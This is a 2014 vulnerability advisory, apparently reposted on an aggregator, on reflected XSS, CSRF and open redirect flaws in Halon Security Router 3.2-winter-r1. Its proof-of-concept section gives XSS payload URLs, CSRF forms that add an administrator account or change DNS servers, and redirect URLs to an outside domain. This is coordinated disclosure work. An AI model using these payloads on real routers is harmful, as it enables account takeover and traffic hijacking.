Halon Security Router (SR) 3.2-winter-r1 - Multiple Security Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Halon Security Router (SR) 3.2-winter-r1 - Multiple Security Vulnerabilities. Reflected Cross-Site Scripting (XSS), Cross-site Request Forgery (CSRF), Open Redirect. Affected: Security router (SR) v3.2-winter-r1, Software, Virtual, and Hardware. Remote. Medium and High severity


                                                ADVISORY INFORMATION
Advisory Name: Multiple Security Vulnerabilities in Halon Security Router
Date published: 2014-04-07
Vendors contacted: Halon Security (http://www.halon.se)
Researcher: Juan Manuel Garcia (http://www.linkedin.com/in/juanmagarcia)



VULNERABILITIES INFORMATION
Vulnerabilities:
1. Reflected Cross-Site Scripting (XSS) {OWASP Top 10 2013-A3}
2. Cross-site Request Forgery (CSRF) {OWASP Top 10 2013-A8}
3. Open Redirect {OWASP Top 10 2013-A10}

Severities:
1. Reflected XSS: Medium - CVSS v2 Base Score: 5.5 (AV:N/AC:L/Au:S/C:P/I:P/A:N)
2. CSRF: High - CVSS v2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
3. Open Redirect: High - CVSS v2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)

Affected Applications: Security router (SR) v3.2-winter-r1 and earlier.

Affected Platforms: Software, virtual and hardware

Local / Remote: Remote

Vendor Status: Patched



VULNERABILITIES DESCRIPTION
1. Reflected XSS: https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29
2. CSRF: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29
3. Open Redirect: https://www.owasp.org/index.php/Open_redirect



TECHNICAL DESCRIPTION AND PROOF OF CONCEPTS
1- Reflected XSS:
At least the following parameters are not properly sanitized:
 http://sr.demo.halon.se/commands/logviewer/?log=vic0&#39;;&#60;/script&#62;&#60;script&#62;alert(1)&#60;/script&#62;
Parameter: log
 http://sr.demo.halon.se/fileviewer/?file=&#34;;&#60;/script&#62;&#60;script&#62;alert(1)&#60;/script&#62;
Parameter: file
 http://sr.demo.halon.se/system/graphs/?graph=&#39;+alert(1)+&#39;
Parameter: graph
 http://sr.demo.halon.se/commands/?command=&#39;+alert(1)+&#39;
Parameter: command
 http://sr.demo.halon.se/system/users/?id=&#39;+alert(1)+&#39;
Parameter: id
 http://sr.demo.halon.se/config/?uri=&#39;+alert(1)+&#39;
Parameter: uri
Other parameters of the application might also be affected.


2- CSRF:
At least the following functions are vulnerable:
 Add user: http://xxx.xxx.xxx.xxx/system/users/?add=user

&#60;html&#62;
&#60;body&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://localhost:80/system/users/?add=user&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;checkout&#34; value=&#34;17&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;apply&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;id&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;old_user&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;user&#34; value=&#34;hacker&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;full-name&#34; value=&#34;ITFORCE H4x0r&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;class&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;password&#34; value=&#34;1234&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;password2&#34; value=&#34;1234&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

DNS configuration: http://xxx.xxx.xxx.xxx/network/dns

&#60;html&#62;
&#60;body&#62;
&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://localhost:80/network/dns/&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;checkout&#34; value=&#34;17&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;apply&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;name-servers&#34; value=&#34;8.8.8.8&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;search-domain&#34; value=&#34;&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;host-name&#34; value=&#34;sr.demo.halon.se&#34;/&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

 Network Configuration: http://xxx.xxx.xxx.xxx/network/basic
 Load Balancer Configuration: http://xxx.xxx.xxx.xxx/network/loadbalancer
 VPN Configuration: http://xxx.xxx.xxx.xxx/network/vpn
 Firewall Configuration: http://xxx.xxx.xxx.xxx/network/firewall
Other functions of the application might also be affected.


3- Open Redirect:
At least the following parameters are not properly sanitized:
 http://sr.demo.halon.se/cluster/?switch_to=&uri=http://itforce.tk
Parameter: uri
 http://sr.demo.halon.se/config/?checkout=17&uri=http://itforce.tk
Parameter: uri
Other parameters of the application might also be affected.



SOLUTION
Install / Upgrade to Security router (SR) v3.2r2
REPORT TIMELINE

2014-04-03: IT Force notifies the Halon team of the vulnerabilities and receives the support ticket ID ZOJ-105816.
2014-04-04: Vendor acknowledges the receipt of the information and informs that the vulnerabilities are going to be resolved in v3.2r2 and updates the SR online demo site.
2014-04-04: IT Force advises Halon on how to resolve the vulnerabilities reported.
2014-04-04: IT Force coordinate with Halon the advisory publication for April 07,2014.
2014-04-07: IT Force published the advisory.



CONTACT INFORMATION
www.itforce.tk

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1